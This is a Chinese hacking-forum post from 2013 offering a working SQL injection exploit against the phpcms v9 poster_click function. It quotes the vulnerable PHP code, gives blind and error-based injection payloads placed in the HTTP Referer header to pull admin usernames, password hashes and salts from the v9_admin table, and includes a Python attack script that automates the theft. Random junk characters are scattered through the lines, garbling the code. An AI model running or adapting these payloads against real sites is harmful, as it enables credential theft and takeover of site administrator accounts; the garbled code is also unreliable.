找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2451|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:* G0 g/ B& K: F; Y. s2 ^
7 g  h3 q* G# u: f. E
问题函数\phpcms\modules\poster\index.php$ w% |( i: ?' x6 v! ~( ]
. j7 ^2 n3 H$ M/ a8 `2 r5 a# |  g
public function poster_click() {
5 P% ]* h0 [3 {# {1 X3 o$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
! _' Z* q6 U# i( D& d8 ~$r = $this->db->get_one(array('id'=>$id));" G- A- O/ J' a# J" Y; M( Y
if (!is_array($r) && empty($r)) return false;
" F4 g7 a4 q6 N* U$ip_area = pc_base::load_sys_class('ip_area');
* m- x  s7 l3 ?+ O$ip = ip();
8 X9 u9 g% [6 `$area = $ip_area->get($ip);6 V8 m) G! ?0 `$ [4 G5 j
$username = param::get_cookie('username') ? param::get_cookie('username') : '';# V3 r: i1 E5 Q$ e2 ^) j. `- e  Q; D2 o
if($id) {" x5 y* [4 ?3 E1 y: o7 ~: i
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();4 o4 O% m9 z/ ?  b  G
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
  e( ?; `0 q5 R+ H' F' c4 c: M}8 A1 [! r! I) @- \; L2 @1 w
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));1 j4 B8 T" N0 f2 _- ]' }
$setting = string2array($r['setting']);
) h5 a! l/ r6 E% F  f3 I% E: v2 rif (count($setting)==1) {
% o- J. O& O/ b1 b' ]$url = $setting['1']['linkurl'];4 C. ?4 @1 u0 L7 d
} else {
4 B( Q6 h: P6 o# ^$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
4 x: A/ E- D1 |3 l7 C4 r) i' b}7 B4 B+ E' X+ }1 N0 D& `4 c) R% H
header('Location: '.$url);) v, N- [. `( b
}
' D7 ~4 X( s+ O  Z2 E/ U: d$ d3 Q& X1 I; V. K' F- x
; k  l5 `# b* f6 @* Z* R. [6 Y
# f) z) S9 A# \3 V
利用方式:' m- X& P8 A6 i4 I  u/ v

0 i% }  ^. o4 L5 {( O  ?1、可以采用盲注入的手法:$ w! T5 ~7 ~. v( P$ V( Z, x' O
1 s% V( @) R0 m2 x6 i
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#' G0 V* t! q3 O" F; S1 u" i

) z: @( [! g3 ^& W5 Z2 c+ U通过返回页面,正常与否一个个猜解密码字段。
: @% w) c) q; |4 Z$ S2 a  B( ]; n) k( S; K: _8 x3 p
2、代码是花开写的,随手附上了:
" p/ R8 M7 X* l  Y
$ e- O+ {0 V* i1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
( n9 ~( {$ p! |5 |* n8 j# p: \# }$ A& L6 k; b& ~6 a+ D
此方法是爆错注入手法,原理自查。
% u7 T5 A0 @0 S
3 {: K4 O( }; ~5 b
0 q( z7 K( B- G% j, O2 E
" F& E3 X8 x+ U' \4 h4 k) }利用程序:! k+ I8 P/ B) j( j0 W1 ]; M1 j
8 I  F( f6 W" i# P( x. ?4 w
#!/usr/bin/env python5 s( Z( K" Q6 P- ^, J3 x
import httplib,sys,re
, a) z9 N) a4 A" b* n' G: H
* U' e+ Q- Z' c0 A( X& d, cdef attack():: f  K% |5 ?3 h# r
print “Code by Pax.Mac Team conqu3r!”
' l& X+ w$ {  y/ \/ |5 y4 sprint “Welcome to our zone!!!”! _% E( Q1 {- a3 ?9 w' v3 f6 W! v
url=sys.argv[1]
$ T6 {  U3 f' T, X( @; ~5 ?0 q/ Wpaths=sys.argv[2]6 g8 L# f" J3 W. ^( z
conn = httplib.HTTPConnection(url)5 t5 J. b- S$ ]
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
- a8 \0 X3 C) J3 A9 L, ]* f* }4 `. @“Accept”: “text/plain”,
9 ]8 [0 T4 Y1 ?# u“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
3 n3 z; r+ [) Q- I5 Vconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
+ L$ q  I& b# e, C) }6 Vr1 = conn.getresponse()" R# |. m: V) z. [: u
datas=r1.read()
! p2 a' N2 M1 V: [+ ^/ P; qdatas=re.findall(r”Duplicate entry \’\w+’”, datas)' }: Q& v* s- c( v1 V1 ]/ H- y& ^
print datas[0]! [5 g% S& h' z2 `' k
conn.close()3 l# U* M& E, A3 L! P5 H
if __name__==”__main__”:) k. `5 C: m% K  \$ y, [( n( ~
if len(sys.argv)<3:
, J8 o: l, t1 C; [# o  Y% `print “Code by Pax.Mac Team conqu3r”
  ?' x5 E/ R% y- Mprint “Usgae:”
$ f, A% ]6 J* S! dprint “    phpcmsattack.py   www.paxmac.org /”
5 Z0 p6 y0 j/ @# E. @print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
1 x$ P) h3 C% I8 ], ]sys.exit(1): V1 j  i/ c) t& g$ m( ^% \
attack()
1 h; R" g8 `; i* W" N( |% s  U( A2 x: M8 ?- Y8 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表